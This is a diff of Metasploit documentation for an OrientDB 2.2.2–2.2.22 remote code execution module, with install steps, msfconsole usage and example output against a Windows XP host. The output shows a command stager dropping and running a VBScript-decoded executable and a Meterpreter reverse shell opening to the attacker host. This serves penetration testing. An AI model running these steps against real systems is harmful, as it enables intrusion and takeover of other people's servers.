@@ -2,43 +2,90 @@ This module leverages a privilege escalation on OrientDB to execute unsandboxed
2
2
3
3
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
4
4
5
- The module is based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3318
5
+ The module is based on the public PoC found here: [ securiteam ] ( https://blogs.securiteam.com/index.php/archives/3318 )
6
6
7
7
## Vulnerable Application
8
8
OrientDB 2.2.2 <= 2.2.22
9
9
10
10
## Installation
11
- Download a vulnerable OrientDB version here: http://orientdb.com/download-previous/
12
- ` $ wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi `
13
- ` $ unzip orientdb-community-2.2.20.zip `
14
- ` $ chmod 755 bin/*.sh `
15
- ` $ chmod -R 777 config `
16
- ` $ cd bin `
17
- ` $ ./server.sh `
11
+ Download a vulnerable OrientDB version here: [ orientdb] ( http://orientdb.com/download-previous/ )
12
+
13
+ ```
14
+ wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi
15
+ unzip orientdb-community-2.2.20.zip
16
+ chmod 755 bin/*.sh
17
+ chmod -R 777 config
18
+ cd bin
19
+ ./server.sh
20
+ ```
18
21
19
22
## References for running OrientDB
20
- http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html
21
- http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html
23
+
24
+ [ Install] ( http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html )
25
+
26
+ [ Run] ( http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html )
22
27
23
28
## References for vulnerability
24
- https://blogs.securiteam.com/index.php/archives/3318
25
- http://www.palada.net/index.php/2017/07/13/news-2112/
26
- https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017
29
+
30
+ [ securiteam] ( https://blogs.securiteam.com/index.php/archives/3318 )
31
+ [ palada] ( http://www.palada.net/index.php/2017/07/13/news-2112/ )
32
+ [ github] ( https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017 )
27
33
28
34
## Verification Steps
29
- - [ ] Start ` msfconsole `
30
- - [ ] ` use exploit/multi/http/orientdb_exec `
31
- - [ ] ` set rhost <RHOST> `
32
- - [ ] ` set target <TARGET_NUMBER> `
33
- - [ ] ` set workspace <WORKSPACE> `
34
- - [ ] ` check `
35
- - [ ] ** Verify** if the OrientDB instance is vulnerable
36
- - [ ] ` run `
37
- - [ ] ** Verify** you get a session
35
+
36
+ 1 . Start ` msfconsole `
37
+ 2 . ` use exploit/multi/http/orientdb_exec `
38
+ 3 . ` set rhost <RHOST> `
39
+ 4 . ` set target <TARGET_NUMBER> `
40
+ 5 . ` set workspace <WORKSPACE> `
41
+ 6 . ` check `
42
+ 7 . ** Verify** if the OrientDB instance is vulnerable
43
+ 8 . ` run `
44
+ 9 . ** Verify** you get a session
38
45
39
46
## Example Output
40
- ` [LHOST:127.0.0.1][Workspace:default][Jobs:0][Sessions:0][/Users/vibrio] exploit(orientdb_exec) > run `
41
- ` [*] [2017.07.18-15:55:47] Started reverse TCP handler on 127.0.0.1:37331 `
42
- ` [*] [2017.07.18-15:55:49] 127.0.0.1:2480 - Sending payload... `
43
- ` [*] Command shell session 1 opened (127.0.0.1:37331 -> 127.0.0.1:46594) at 2017-07-18 15:55:49 +0100 `
44
47
48
+ ### OrientDB 2.2.20 on Windows XP
49
+
50
+ ```
51
+ msf > use exploit/multi/http/orientdb_exec
52
+ msf exploit(orientdb_exec) > set rhost 2.2.2.2
53
+ rhost => 2.2.2.2
54
+ msf exploit(orientdb_exec) > set target 2
55
+ target => 2
56
+ msf exploit(orientdb_exec) > check
57
+
58
+ [+] Version: OrientDB Server v.2.2.20 (build 76ab59e72943d0ba196188ed100c882be4315139)
59
+ [+] 2.2.2.2:2480 The target is vulnerable.
60
+ msf exploit(orientdb_exec) > set verbose true
61
+ verbose => true
62
+ msf exploit(orientdb_exec) > exploit
63
+
64
+ [*] Started reverse TCP handler on 1.1.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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\aAqsZ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\uFLQh.vbs & echo Set file = fs.GetFile("%TEMP%\aAqsZ.b64") >>%TEMP%\uFLQh.vbs & echo If file.Size Then >>%TEMP%\uFLQh.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\aAqsZ.b64", 1) >>%TEMP%\uFLQh.vbs & echo data = fd.ReadAll >>%TEMP%\uFLQh.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\uFLQh.vbs & echo data = base64_decode(data) >>%TEMP%\uFLQh.vbs & echo fd.Close >>%TEMP%\uFLQh.vbs & echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\tIzcO.exe", 2, True) >>%TEMP%\uFLQh.vbs & echo ofs.Write data >>%TEMP%\uFLQh.vbs & echo ofs.close >>%TEMP%\uFLQh.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\uFLQh.vbs
76
+ [*] Command Stager progress - 98.40% done (100252/101881 bytes)
77
+ [*] Attempting to execute: echo shell.run "%TEMP%\tIzcO.exe", 0, false >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\uFLQh.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\uFLQh.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\uFLQh.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\uFLQh.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\uFLQh.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\uFLQh.vbs & echo If Not w2 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w3 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\uFLQh.vbs & echo If Not w4 Then _ >>%TEMP%\uFLQh.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\uFLQh.vbs & echo Next >>%TEMP%\uFLQh.vbs & echo base64_decode = strOut >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\uFLQh.vbs & echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\uFLQh.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\uFLQh.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\uFLQh.vbs & echo Else >>%TEMP%\uFLQh.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\uFLQh.vbs & echo End If >>%TEMP%\uFLQh.vbs & echo End Function >>%TEMP%\uFLQh.vbs & cscript //nologo %TEMP%\uFLQh.vbs & del %TEMP%\uFLQh.vbs & del %TEMP%\aAqsZ.b64
78
+ [*] Command Stager progress - 100.00% done (101881/101881 bytes)
79
+ [*] Sending stage (956991 bytes) to 2.2.2.2
80
+ [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:1422) at 2017-10-06 14:00:14 -0400
81
+
82
+ meterpreter > sysinfo
83
+ Computer : WINXP
84
+ OS : Windows XP (Build 2600, Service Pack 3).
85
+ Architecture : x86
86
+ System Language : en_US
87
+ Domain : GROUP
88
+ Logged On Users : 2
89
+ Meterpreter : x86/windows
90
+ meterpreter >
91
+ ```
0 commit comments